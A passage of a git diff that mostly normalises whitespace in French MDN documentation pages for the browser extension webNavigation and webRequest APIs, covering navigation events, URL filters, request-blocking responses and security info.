directement au niveau de l'interface utilisateur du navigateur elle-même. -Chaque evenement correspond directement à un état précis dans la navigation. La séquence des évenements est comme suit: +Chaque evenement correspond directement à un état précis dans la navigation. La séquence des évenements est comme suit:  @@ -40,7 +40,7 @@ Chaque navigation est une transition d'URL dans un cadre de navigateur particuli L'appel `addListener()` de chaque événement accepte un paramètre de filtre facultatif. Le filtre spécifiera un ou plusieurs modèles d'URL, et l'événement ne sera alors déclenché que pour les navigations dans lesquelles l'URL cible correspond à l'un des modèles. -L'écouteur d'événement `onCommitted`reçoit deux propriétés supplémentaires : un {{WebExtAPIRef("webNavigation.TransitionType","TransitionType")}} indiquant la cause de la navigation (par exemple, parce que l'utilisateur a cliqué sur un lien ou parce que l'utilisateur a sélectionné un signet), et un {{WebExtAPIRef("webNavigation.TransitionQualifier","TransitionQualifier")}} fournissant plus d'informations sur la navigation. +L'écouteur d'événement `onCommitted`reçoit deux propriétés supplémentaires : un {{WebExtAPIRef("webNavigation.TransitionType","TransitionType")}} indiquant la cause de la navigation (par exemple, parce que l'utilisateur a cliqué sur un lien ou parce que l'utilisateur a sélectionné un signet), et un {{WebExtAPIRef("webNavigation.TransitionQualifier","TransitionQualifier")}} fournissant plus d'informations sur la navigation. Pour utiliser cette API, vous devez avoir la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) "webNavigation". diff --git a/files/fr/mozilla/add-ons/webextensions/api/webnavigation/onbeforenavigate/index.md b/files/fr/mozilla/add-ons/webextensions/api/webnavigation/onbeforenavigate/index.md index 6e12941043..cac93e600c 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webnavigation/onbeforenavigate/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webnavigation/onbeforenavigate/index.md @@ -49,7 +49,7 @@ Les événements ont trois fonctions : - : [`object`](#details). Détails sur l'événement de navigation. - `filter`{{optional_inline}} - - : `object`. Un objet contenant une seule propriété `url`, qui est un `tableau` d'objets {{WebExtAPIRef("events.UrlFilter")}} objects.Un objet contenant une seule propriété qui correspondent à au moins un `UrlFilter` dans le tableau. Si vous omettez ce paramètre, l'événement se déclenchera pour toutes les transitions. + - : `object`. Un objet contenant une seule propriété `url`, qui est un `tableau` d'objets {{WebExtAPIRef("events.UrlFilter")}} objects.Un objet contenant une seule propriété qui correspondent à au moins un `UrlFilter` dans le tableau. Si vous omettez ce paramètre, l'événement se déclenchera pour toutes les transitions. ## Objets supplémentaires @@ -74,7 +74,7 @@ Les événements ont trois fonctions : ## Exemples -Logs les URL cibles de `onBeforeNavigate`, si le nom d'hôte de la cible contient "example.com" ou commence avec "developer". +Logs les URL cibles de `onBeforeNavigate`, si le nom d'hôte de la cible contient "example.com" ou commence avec "developer". ```js var filter = { diff --git a/files/fr/mozilla/add-ons/webextensions/api/webnavigation/oncompleted/index.md b/files/fr/mozilla/add-ons/webextensions/api/webnavigation/oncompleted/index.md index d308e07d56..1fd3895523 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webnavigation/oncompleted/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webnavigation/oncompleted/index.md @@ -49,7 +49,7 @@ Les événements ont trois fonctions : - : [`object`](#details). Détails sur l'événement de navigation. - `filter`{{optional_inline}} - - : `object`. Un objet contenant une seule propriété `url`, qui est un `Array` d'objets {{WebExtAPIRef("events.UrlFilter")}}. Si vous incluez ce paramètre, l'événement se déclenchera uniquement pour les transitions vers les URL qui correspondent à au moins un `UrlFilter` dans le tableau.Si vous omettez ce paramètre, l'événement se déclenchera pour toutes les transitions. + - : `object`. Un objet contenant une seule propriété `url`, qui est un `Array` d'objets {{WebExtAPIRef("events.UrlFilter")}}. Si vous incluez ce paramètre, l'événement se déclenchera uniquement pour les transitions vers les URL qui correspondent à au moins un `UrlFilter` dans le tableau.Si vous omettez ce paramètre, l'événement se déclenchera pour toutes les transitions. ## Objets supplémentaires @@ -62,7 +62,7 @@ Les événements ont trois fonctions : - `processId` - : `integer`. L'ID du processus dans lequel cet onglet est rendu. - `frameId` - - : `integer`. Cadre dans lequel la navigation s'est produite. 0 indique que la navigation s'est déroulée dans le contexte de navigation de niveau supérieur de l'onglet, et non dans un [iframe](/fr/docs/Web/HTML/Element/iframe) imbriqué. Une valeur positive indique que la navigation s'est déroulée dans un iframe imbriqué. Les ID de cadre sont uniques pour un onglet et un processus donnés. + - : `integer`. Cadre dans lequel la navigation s'est produite. 0 indique que la navigation s'est déroulée dans le contexte de navigation de niveau supérieur de l'onglet, et non dans un [iframe](/fr/docs/Web/HTML/Element/iframe) imbriqué. Une valeur positive indique que la navigation s'est déroulée dans un iframe imbriqué. Les ID de cadre sont uniques pour un onglet et un processus donnés. - `timeStamp` - : `number`. L'heure à laquelle la page a terminé le chargement, en [millisecondes depuis l'époque](https://en.wikipedia.org/wiki/Unix_time). diff --git a/files/fr/mozilla/add-ons/webextensions/api/webnavigation/oncreatednavigationtarget/index.md b/files/fr/mozilla/add-ons/webextensions/api/webnavigation/oncreatednavigationtarget/index.md index 9ca661d78b..2e8155906c 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webnavigation/oncreatednavigationtarget/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webnavigation/oncreatednavigationtarget/index.md @@ -22,7 +22,7 @@ Lancé lorsqu'une nouvelle fenêtre ou un nouvel onglet dans une fenêtre exista L'événement n'est pas envoyé si un onglet ou une fenêtre est créé sans cible de navigation (par exemple, si l'utilisateur ouvre un nouvel onglet en appuyant sur Ctrl+T). -Si cet événement est déclenché, il sera déclenché avant {{WebExtAPIRef("webNavigation.onBeforeNavigate")}}. +Si cet événement est déclenché, il sera déclenché avant {{WebExtAPIRef("webNavigation.onBeforeNavigate")}}. ## Syntaxe @@ -56,7 +56,7 @@ Les événements ont trois fonctions : - : [`object`](#details). Détails sur l'événement de navigation Voir les [détails](#details) ci-dessous. - `filter`{{optional_inline}} - - : `object`. Un objet contenant une seule propriété `url`, qui est un `Array` d'objets {{WebExtAPIRef("events.UrlFilter")}}. Si vous incluez ce paramètre, l'événement se déclenchera uniquement pour les transitions vers les URL qui correspondent à au moins un `UrlFilter` dans le tableau. Si vous omettez ce paramètre, l'événement se déclenchera pour toutes les transitions. Notez que le `filtre`n'est pas supporté dans Firefox. + - : `object`. Un objet contenant une seule propriété `url`, qui est un `Array` d'objets {{WebExtAPIRef("events.UrlFilter")}}. Si vous incluez ce paramètre, l'événement se déclenchera uniquement pour les transitions vers les URL qui correspondent à au moins un `UrlFilter` dans le tableau. Si vous omettez ce paramètre, l'événement se déclenchera pour toutes les transitions. Notez que le `filtre`n'est pas supporté dans Firefox. ## Objets supplémentaires diff --git a/files/fr/mozilla/add-ons/webextensions/api/webnavigation/ondomcontentloaded/index.md b/files/fr/mozilla/add-ons/webextensions/api/webnavigation/ondomcontentloaded/index.md index a04a9f39a5..8015a3fbb0 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webnavigation/ondomcontentloaded/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webnavigation/ondomcontentloaded/index.md @@ -49,7 +49,7 @@ Les événements ont trois fonctions : - : [`object`](#details). Détails sur l'événement de navigation - `filter`{{optional_inline}} - - : `object`. Un objet contenant une seule propriété `url`, qui est un `tableau` d'objets {{WebExtAPIRef("events.UrlFilter")}}. Si vous incluez ce paramètre, l'événement se déclenchera uniquement pour les transitions vers les URL qui correspondent à au moins un `UrlFilter` dans un tableau. Si vous omettez ce paramètre, l'événement se déclenchera pour toutes les transitions. + - : `object`. Un objet contenant une seule propriété `url`, qui est un `tableau` d'objets {{WebExtAPIRef("events.UrlFilter")}}. Si vous incluez ce paramètre, l'événement se déclenchera uniquement pour les transitions vers les URL qui correspondent à au moins un `UrlFilter` dans un tableau. Si vous omettez ce paramètre, l'événement se déclenchera pour toutes les transitions. ## Objets supplémentaires @@ -60,7 +60,7 @@ Les événements ont trois fonctions : - `url` - : `string`. L'URL à laquelle le cadre donné a navigué. - `processId` - - : `integer`. L'ID du processus dans lequel cet onglet est rendu. + - : `integer`. L'ID du processus dans lequel cet onglet est rendu. - `frameId` - : `integer`. Frame dans lequel la navigation est en cours. 0 indique que la navigation se déroule dans le contexte de navigation de niveau supérieur de l'onglet, et non dans un [iframe](/fr/docs/Web/HTML/Element/iframe) imbriqué. Une valeur positive indique que la navigation se déroule dans un iframe imbriqué. Les ID _frames_ sont uniques pour un onglet et un processus donnés. - `timeStamp` diff --git a/files/fr/mozilla/add-ons/webextensions/api/webnavigation/onerroroccurred/index.md b/files/fr/mozilla/add-ons/webextensions/api/webnavigation/onerroroccurred/index.md index 176fc28b18..cbef7f1ad3 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webnavigation/onerroroccurred/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webnavigation/onerroroccurred/index.md @@ -49,7 +49,7 @@ Les événements ont trois fonctions : - : [`object`](#details). Détails sur l'événement de navigation. - `filter`{{optional_inline}} - - : `object`. Un objet contenant une seule propriété `url`, qui est un `tableau` d'objets {{WebExtAPIRef("events.UrlFilter")}}. Si vous incluez ce paramètre, l'événement se déclenchera uniquement pour les transitions vers les URL qui correspondent à au moins un `UrlFilter` dans un tableau. Si vous omettez ce paramètre, l'événement se déclenchera pour toutes les transitions. + - : `object`. Un objet contenant une seule propriété `url`, qui est un `tableau` d'objets {{WebExtAPIRef("events.UrlFilter")}}. Si vous incluez ce paramètre, l'événement se déclenchera uniquement pour les transitions vers les URL qui correspondent à au moins un `UrlFilter` dans un tableau. Si vous omettez ce paramètre, l'événement se déclenchera pour toutes les transitions. ## Objets supplémentaires @@ -74,7 +74,7 @@ Les événements ont trois fonctions : ## Exemples -Logs les URL cibles de `onErrorOccurred`, si le nom d'hôte de l'URL cible contient "example.com" ou commence par "developer". +Logs les URL cibles de `onErrorOccurred`, si le nom d'hôte de l'URL cible contient "example.com" ou commence par "developer". ```js var filter = { diff --git a/files/fr/mozilla/add-ons/webextensions/api/webnavigation/onhistorystateupdated/index.md b/files/fr/mozilla/add-ons/webextensions/api/webnavigation/onhistorystateupdated/index.md index 782769e6ac..61e0b3cdc2 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webnavigation/onhistorystateupdated/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webnavigation/onhistorystateupdated/index.md @@ -49,7 +49,7 @@ Les événements ont trois fonctions : - : [`object`](#details). Détails sur l'événement de navigation. - `filter`{{optional_inline}} - - : `object`. Un objet contenant une seule propriété `url`, qui est un `tableau` d'objets {{WebExtAPIRef("events.UrlFilter")}}. Si vous incluez ce paramètre, l'événement se déclenchera uniquement pour les transitions vers les URL qui correspondent à au moins un `UrlFilter` dans un tableau. Si vous omettez ce paramètre, l'événement se déclenchera pour toutes les transitions. + - : `object`. Un objet contenant une seule propriété `url`, qui est un `tableau` d'objets {{WebExtAPIRef("events.UrlFilter")}}. Si vous incluez ce paramètre, l'événement se déclenchera uniquement pour les transitions vers les URL qui correspondent à au moins un `UrlFilter` dans un tableau. Si vous omettez ce paramètre, l'événement se déclenchera pour toutes les transitions. ## Objets supplémentaires @@ -62,9 +62,9 @@ Les événements ont trois fonctions : - `processId` - : `integer`. L'ID du processus dans lequel cet onglet est rendu. - `frameId` - - : `integer`. Frame dans lequel la navigation aura lieu. 0 indique que la navigation se déroule dans le contexte de navigation de niveau supérieur de l'onglet, et non dans un [iframe](/fr/docs/Web/HTML/Element/iframe) imbriqué. Une valeur positive indique que la navigation se déroule dans un iframe imbriqué. Les ID de _frames_ sont uniques pour un onglet et un processus donnés. + - : `integer`. Frame dans lequel la navigation aura lieu. 0 indique que la navigation se déroule dans le contexte de navigation de niveau supérieur de l'onglet, et non dans un [iframe](/fr/docs/Web/HTML/Element/iframe) imbriqué. Une valeur positive indique que la navigation se déroule dans un iframe imbriqué. Les ID de _frames_ sont uniques pour un onglet et un processus donnés. - `timeStamp` - - : `number`. L'heure à laquelle la navigation a été validée, en [millisecondes depuis l'origine](https://en.wikipedia.org/wiki/Unix_time). + - : `number`. L'heure à laquelle la navigation a été validée, en [millisecondes depuis l'origine](https://en.wikipedia.org/wiki/Unix_time). - `transitionType` - : `{{WebExtAPIRef("webNavigation.transitionType", "transitionType")}}`.La raison de la navigation: par exemple, `"link"` si l'utilisateur a cliqué sur un lien. - `transitionQualifiers` @@ -76,7 +76,7 @@ Les événements ont trois fonctions : ## Examples -Logs les URL cibles et les informations de transition supplémentaires pour `onHistoryStateUpdated`, si le nom d'hôte de l'URL cible contient "example.com" ou commence par "developer". +Logs les URL cibles et les informations de transition supplémentaires pour `onHistoryStateUpdated`, si le nom d'hôte de l'URL cible contient "example.com" ou commence par "developer". ```js var filter = { diff --git a/files/fr/mozilla/add-ons/webextensions/api/webnavigation/onreferencefragmentupdated/index.md b/files/fr/mozilla/add-ons/webextensions/api/webnavigation/onreferencefragmentupdated/index.md index cb00e7f509..03d143e8fc 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webnavigation/onreferencefragmentupdated/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webnavigation/onreferencefragmentupdated/index.md @@ -74,7 +74,7 @@ Les événements ont trois fonctions : ## Exemples -Consigne les URL cibles et les informations de transition supplémentaires pour `onReferenceFragmentUpdated`, si le nom d'hôte de l'URL cible contient "example.com" ou commence par "developer". +Consigne les URL cibles et les informations de transition supplémentaires pour `onReferenceFragmentUpdated`, si le nom d'hôte de l'URL cible contient "example.com" ou commence par "developer". ```js var filter = { diff --git a/files/fr/mozilla/add-ons/webextensions/api/webrequest/blockingresponse/index.md b/files/fr/mozilla/add-ons/webextensions/api/webrequest/blockingresponse/index.md index 8d19a6f4f9..9a65988f79 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webrequest/blockingresponse/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webrequest/blockingresponse/index.md @@ -27,7 +27,7 @@ Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivant - `authCredentials`{{optional_inline}} - - : `object`. Si elle est définie, la demande est faite en utilisant les informations d'identification données. Vous ne pouvez définir cette propriété que dans {{WebExtAPIRef("webRequest.onAuthRequired", "onAuthRequired")}}. La propriété `authCredentials` est un objet avec les propriétés suivantes : + - : `object`. Si elle est définie, la demande est faite en utilisant les informations d'identification données. Vous ne pouvez définir cette propriété que dans {{WebExtAPIRef("webRequest.onAuthRequired", "onAuthRequired")}}. La propriété `authCredentials` est un objet avec les propriétés suivantes : - `username` - : `string`. Nom d'utilisateur à fournir. @@ -35,21 +35,21 @@ Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivant - : `string`. Mot de passe à fournir. - `cancel`{{optional_inline}} - - : `boolean`. Si `true`, la demande est annulée. Vous ne pouvez définir cette propriété dans {{WebExtAPIRef("webRequest.onBeforeRequest", "onBeforeRequest")}}, {{WebExtAPIRef("webRequest.onBeforeSendHeaders", "onBeforeSendHeaders")}}, {{WebExtAPIRef("webRequest.onHeadersReceived", "onHeadersReceived")}}, et {{WebExtAPIRef("webRequest.onAuthRequired", "onAuthRequired")}}. + - : `boolean`. Si `true`, la demande est annulée. Vous ne pouvez définir cette propriété dans {{WebExtAPIRef("webRequest.onBeforeRequest", "onBeforeRequest")}}, {{WebExtAPIRef("webRequest.onBeforeSendHeaders", "onBeforeSendHeaders")}}, {{WebExtAPIRef("webRequest.onHeadersReceived", "onHeadersReceived")}}, et {{WebExtAPIRef("webRequest.onAuthRequired", "onAuthRequired")}}. - `redirectUrl`{{optional_inline}} - - : `string`. Il s'agit d'une URL, et si elle est définie, la requête originale est redirigée vers cette URL. Vous ne pouvez définir cette propriété que dans {{WebExtAPIRef("webRequest.onBeforeRequest", "onBeforeRequest")}} ou {{WebExtAPIRef("webRequest.onHeadersReceived", "onHeadersReceived")}}. + - : `string`. Il s'agit d'une URL, et si elle est définie, la requête originale est redirigée vers cette URL. Vous ne pouvez définir cette propriété que dans {{WebExtAPIRef("webRequest.onBeforeRequest", "onBeforeRequest")}} ou {{WebExtAPIRef("webRequest.onHeadersReceived", "onHeadersReceived")}}. Les redirections vers des schémas non-HTTP tels que data : sont autorisées, mais elles ne sont pas prises en charge actuellement ({{bug("707624")}}). Les redirections utilisent la même méthode de requête que la requête originale à moins qu'elle ne soit initiée à partir de l'étape `onHeadersReceived`, auquel cas la redirection utilise la méthode GET. Si une extension veut rediriger une URL publique (par exemple HTTPS) vers une [page d'extension](/fr/Add-ons/WebExtensions/user_interface/Extension_pages), le fichier manifest.json de l'extension doit contenir une clé [web_accessible_resources](/fr/Add-ons/WebExtensions/manifest.json/web_accessible_resources) qui liste l'URL de la page d'extension. - `requestHeaders`{{optional_inline}} - - : {{WebExtAPIRef('webRequest.HttpHeaders')}}. C'est un objet {{WebExtAPIRef('webRequest.HttpHeaders', "HttpHeaders")}}, un tableau dans lequel chaque objet représente un en-tête. Si elle est définie, la demande est faite avec ces en-têtes plutôt qu'avec les en-têtes d'origine. Vous ne pouvez définir cette propriété que dans {{WebExtAPIRef("webRequest.onBeforeSendHeaders", "onBeforeSendHeaders")}} . + - : {{WebExtAPIRef('webRequest.HttpHeaders')}}. C'est un objet {{WebExtAPIRef('webRequest.HttpHeaders', "HttpHeaders")}}, un tableau dans lequel chaque objet représente un en-tête. Si elle est définie, la demande est faite avec ces en-têtes plutôt qu'avec les en-têtes d'origine. Vous ne pouvez définir cette propriété que dans {{WebExtAPIRef("webRequest.onBeforeSendHeaders", "onBeforeSendHeaders")}} . - `responseHeaders`{{optional_inline}} - - : {{WebExtAPIRef('webRequest.HttpHeaders')}}. C'est un objet {{WebExtAPIRef('webRequest.HttpHeaders', "HttpHeaders")}}, un tableau dans lequel chaque objet représente un en-tête. Si elle est définie, le serveur est supposé avoir répondu avec ces en-têtes de réponse au lieu des originaux. Vous ne pouvez définir cette propriété que dans {{WebExtAPIRef("webRequest.onHeadersReceived", "onHeadersReceived")}}. Si plusieurs extensions tentent de définir le même en-tête (par exemple, `Content-Security-Policy`), une seule des modifications sera réussie. + - : {{WebExtAPIRef('webRequest.HttpHeaders')}}. C'est un objet {{WebExtAPIRef('webRequest.HttpHeaders', "HttpHeaders")}}, un tableau dans lequel chaque objet représente un en-tête. Si elle est définie, le serveur est supposé avoir répondu avec ces en-têtes de réponse au lieu des originaux. Vous ne pouvez définir cette propriété que dans {{WebExtAPIRef("webRequest.onHeadersReceived", "onHeadersReceived")}}. Si plusieurs extensions tentent de définir le même en-tête (par exemple, `Content-Security-Policy`), une seule des modifications sera réussie. - `upgradeToSecure`{{optional_inline}} - - : `boolean`. Si la valeur `true` est est définie et que la requête originale est une requête HTTP, cela empêchera l'envoi de la requête originale et fera plutôt une requête sécurisée (HTTPS). Si une extension renvoie `redirectUrl` dans `onBeforeRequest`, alors `upgradeToSecure` sera ignoré pour cette requête. Vous ne pouvez définir cette propriété que dans {{WebExtAPIRef("webRequest.onBeforeRequest", "onBeforeRequest")}}. + - : `boolean`. Si la valeur `true` est est définie et que la requête originale est une requête HTTP, cela empêchera l'envoi de la requête originale et fera plutôt une requête sécurisée (HTTPS). Si une extension renvoie `redirectUrl` dans `onBeforeRequest`, alors `upgradeToSecure` sera ignoré pour cette requête. Vous ne pouvez définir cette propriété que dans {{WebExtAPIRef("webRequest.onBeforeRequest", "onBeforeRequest")}}. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/webrequest/certificateinfo/index.md b/files/fr/mozilla/add-ons/webextensions/api/webrequest/certificateinfo/index.md index fec092c8e5..3779eef14d 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webrequest/certificateinfo/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webrequest/certificateinfo/index.md @@ -14,9 +14,9 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/webRequest/CertificateInfo --- {{AddonSidebar()}} -Un objet décrivant un seul [certificat X.509](https://tools.ietf.org/html/rfc5280). +Un objet décrivant un seul [certificat X.509](https://tools.ietf.org/html/rfc5280). -L'objet {{WebExtAPIRef("webRequest.SecurityInfo", "SecurityInfo")}} retourné par l'objet {{WebExtAPIRef("webRequest.getSecurityInfo()")}} API inclut une propriété de `certificats` qui est un tableau de ces objets. +L'objet {{WebExtAPIRef("webRequest.SecurityInfo", "SecurityInfo")}} retourné par l'objet {{WebExtAPIRef("webRequest.getSecurityInfo()")}} API inclut une propriété de `certificats` qui est un tableau de ces objets. ## Type diff --git a/files/fr/mozilla/add-ons/webextensions/api/webrequest/filterresponsedata/index.md b/files/fr/mozilla/add-ons/webextensions/api/webrequest/filterresponsedata/index.md index f3b657221f..64175ad177 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webrequest/filterresponsedata/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webrequest/filterresponsedata/index.md @@ -38,7 +38,7 @@ Un objet {{WebExtAPIRef("webRequest.StreamFilter")}} que vous pouvez utiliser po ## Exemples -Cet exemple, tiré de l'extension [http-response](https://github.com/mdn/webextensions-examples/tree/master/http-response), crée un filtre dans {{WebExtAPIRef("webRequest.onBeforeRequest")}} et l'utilise pour modifier la réponse : +Cet exemple, tiré de l'extension [http-response](https://github.com/mdn/webextensions-examples/tree/master/http-response), crée un filtre dans {{WebExtAPIRef("webRequest.onBeforeRequest")}} et l'utilise pour modifier la réponse : ```js function listener(details) { diff --git a/files/fr/mozilla/add-ons/webextensions/api/webrequest/getsecurityinfo/index.md b/files/fr/mozilla/add-ons/webextensions/api/webrequest/getsecurityinfo/index.md index 466ff2d36b..49421b32ad 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webrequest/getsecurityinfo/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webrequest/getsecurityinfo/index.md @@ -18,9 +18,9 @@ Utilisez cette fonction pour obtenir des informations détaillées sur la connex Vous passez à cette fonction la `requestId` pour la requête en question, et quelques paramètres supplémentaires optionnels. Il retourne une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera résolue à un objet {{WebExtAPIRef("webRequest.SecurityInfo", "SecurityInfo")}}. -Vous ne pouvez appeler cette fonction qu'à partir de l'écouteur {{WebExtAPIRef("webRequest.onHeadersReceived")}}. La `requestId` peut être trouvée dans l'objet `details` object qui est passé dans l'écouteur. +Vous ne pouvez appeler cette fonction qu'à partir de l'écouteur {{WebExtAPIRef("webRequest.onHeadersReceived")}}. La `requestId` peut être trouvée dans l'objet `details` object qui est passé dans l'écouteur. -Vous devez également passer l'option "blocking" à `webRequest.onHeadersReceived.addListener()`. Ainsi, pour utiliser cette API, vous devez avoir la [permission de l'API](/fr/Add-ons/WebExtensions/manifest.json/permissions#API_permissions) "webRequestBlocking", ainsi que les permissions normales nécessaires pour utiliser les écouteurs `webRequest` (la permission "webRequest" et la [permission hôte](/fr/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions) pour le hôte). +Vous devez également passer l'option "blocking" à `webRequest.onHeadersReceived.addListener()`. Ainsi, pour utiliser cette API, vous devez avoir la [permission de l'API](/fr/Add-ons/WebExtensions/manifest.json/permissions#API_permissions) "webRequestBlocking", ainsi que les permissions normales nécessaires pour utiliser les écouteurs `webRequest` (la permission "webRequest" et la [permission hôte](/fr/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions) pour le hôte). ## Syntaxe @@ -40,10 +40,10 @@ var gettingInfo = browser.webRequest.getSecurityInfo( - : `object`. Un objet qui peut contenir l'une des propriétés suivantes, toutes facultatives : - `certificateChain` {{optional_inline}} - - : `boolean`. Si `true`, l'objet {{WebExtAPIRef("webRequest.SecurityInfo", "SecurityInfo")}} retourné inclura toute la chaîne de certificats jusqu'à et y compris la racine de confiance. Si `false`, + - : `boolean`. Si `true`, l'objet {{WebExtAPIRef("webRequest.SecurityInfo", "SecurityInfo")}} retourné inclura toute la chaîne de certificats jusqu'à et y compris la racine de confiance. Si `false`, il n'inclura que le certificat du serveur. La valeur par défaut est `false`. - `rawDER` {{optional_inline}} - - : `boolean`. Si true, chaque propriété {{WebExtAPIRef("webRequest.CertificateInfo", "CertificateInfo")}} dans le {{WebExtAPIRef("webRequest.SecurityInfo", "SecurityInfo.certificates")}} contiendra une propriété `rawDER`. Il contient le DER-encoded ASN.1 qui comprend les données du certificat. + - : `boolean`. Si true, chaque propriété {{WebExtAPIRef("webRequest.CertificateInfo", "CertificateInfo")}} dans le {{WebExtAPIRef("webRequest.SecurityInfo", "SecurityInfo.certificates")}} contiendra une propriété `rawDER`. Il contient le DER-encoded ASN.1 qui comprend les données du certificat. ### Valeur retournée diff --git a/files/fr/mozilla/add-ons/webextensions/api/webrequest/handlerbehaviorchanged/index.md b/files/fr/mozilla/add-ons/webextensions/api/webrequest/handlerbehaviorchanged/index.md index 4dd6c859f1..4d26597b96 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webrequest/handlerbehaviorchanged/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webrequest/handlerbehaviorchanged/index.md @@ -26,7 +26,7 @@ Comme la page sera rechargée à partir du cache mémoire, il se peut que l'audi La fonction `handlerBehaviorChanged()` est conçue pour résoudre ce problème. Il vide le cache en mémoire, de sorte que les rechargements de page déclenchent les auditeurs d'événements. -Parce que `handlerBehaviorChanged()` nettoie le cache, cela peut être coûteux et mauvais pour la performance. Le module webRequest définit une propriété en lecture seule {{WebExtAPIRef("webRequest.MAX_HANDLER_BEHAVIOR_CHANGED_CALLS_PER_10_MINUTES", "MAX_HANDLER_BEHAVIOR_CHANGED_CALLS_PER_10_MINUTES")}} : faire plus d'appels que ce nombre en 10 minutes n'aura aucun effet. +Parce que `handlerBehaviorChanged()` nettoie le cache, cela peut être coûteux et mauvais pour la performance. Le module webRequest définit une propriété en lecture seule {{WebExtAPIRef("webRequest.MAX_HANDLER_BEHAVIOR_CHANGED_CALLS_PER_10_MINUTES", "MAX_HANDLER_BEHAVIOR_CHANGED_CALLS_PER_10_MINUTES")}} : faire plus d'appels que ce nombre en 10 minutes n'aura aucun effet. L'implémentation de la mise en cache, d'où la nécessité de cette fonction, varie d'un navigateur à l'autre, de sorte que dans certains navigateurs, cette fonction ne fait rien. @@ -52,7 +52,7 @@ Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui se ## Exemples -Dans le snippet suivant, nous vidons le cache en mémoire via un appel à `handlerBehaviorChanged()`, et signalons cette action en enregistrant un message approprié à la console. +Dans le snippet suivant, nous vidons le cache en mémoire via un appel à `handlerBehaviorChanged()`, et signalons cette action en enregistrant un message approprié à la console. ```js function onFlushed() { diff --git a/files/fr/mozilla/add-ons/webextensions/api/webrequest/index.md b/files/fr/mozilla/add-ons/webextensions/api/webrequest/index.md index 59598f83ff..b60e93c23b 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webrequest/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webrequest/index.md @@ -26,17 +26,17 @@ Tous les évènements (excepté `onErrorOccurred`) peuvent prendre trois argumen - Le receveur d'évènements lui-même - un {{WebExtAPIRef("webRequest.RequestFilter", "filter")}} objet, afin de n'être notifié que pour les requêtes effectués par des URLs particulières ou pour un type particulier de ressources. -- un `extraInfoSpec` objet optionnel. Vous pouvez utiliser celui-ci pour passer des instructions spécifiques à l'évènement supplémentaires. +- un `extraInfoSpec` objet optionnel. Vous pouvez utiliser celui-ci pour passer des instructions spécifiques à l'évènement supplémentaires. Une fonction d'écoute reçoit un objet `details` qui contient des informations à propos de la requête. Il inclut un ID de requête, fourni afin de permettre à une extension de relier des évènements associés à une même requête. Il est unique à chaque session de navigation et à l'extension. Il reste le même tout au long d'une requête, même durant les redirections et les échanges d'authentifications. -Pour utiliser l'API webRequest pour un hôte donné, une extension doit avoir la [permission API](/fr/Add-ons/WebExtensions/manifest.json/permissions#API_permissions) "webRequest" et la [permission hôte ](/fr/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions)pour cet hôte. Pour utiliser la fonction "blocking", l'extension doit également avoir la permission API "webRequestBlocking". +Pour utiliser l'API webRequest pour un hôte donné, une extension doit avoir la [permission API](/fr/Add-ons/WebExtensions/manifest.json/permissions#API_permissions) "webRequest" et la [permission hôte ](/fr/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions)pour cet hôte. Pour utiliser la fonction "blocking", l'extension doit également avoir la permission API "webRequestBlocking". -Pour intercepter des ressources chargées par une page (comme des images, des scripts ou des feuilles de style), l'extension doit avoir la permission de l'hôte pour la ressource ainsi que pour la page principale demandant la ressource. Par exemple, si une page à "https\://developer.mozilla.org" charge une image à partir de "https\://mdn.mozillademos.org", alors une extension doit avoir les deux permissions d'hôte si elle doit intercepter la demande d'image. +Pour intercepter des ressources chargées par une page (comme des images, des scripts ou des feuilles de style), l'extension doit avoir la permission de l'hôte pour la ressource ainsi que pour la page principale demandant la ressource. Par exemple, si une page à "https\://developer.mozilla.org" charge une image à partir de "https\://mdn.mozillademos.org", alors une extension doit avoir les deux permissions d'hôte si elle doit intercepter la demande d'image. ## Modifier une requête -Sur certains de ces événements, vous pouvez modifier la demande. Plus précisément, vous pouvez : +Sur certains de ces événements, vous pouvez modifier la demande. Plus précisément, vous pouvez : - Annuler une requête avec: @@ -98,7 +98,7 @@ Pour ce faire, vous devez disposer de la permission de l'API "webRequestBlocking ## Propriétés -- {{WebExtAPIRef("webRequest.MAX_HANDLER_BEHAVIOR_CHANGED_CALLS_PER_10_MINUTES", "webRequest.MAX_HANDLER_BEHAVIOR_CHANGED_CALLS_PER_10_MINUTES")}} +- {{WebExtAPIRef("webRequest.MAX_HANDLER_BEHAVIOR_CHANGED_CALLS_PER_10_MINUTES", "webRequest.MAX_HANDLER_BEHAVIOR_CHANGED_CALLS_PER_10_MINUTES")}} - : Le nombre de fois que 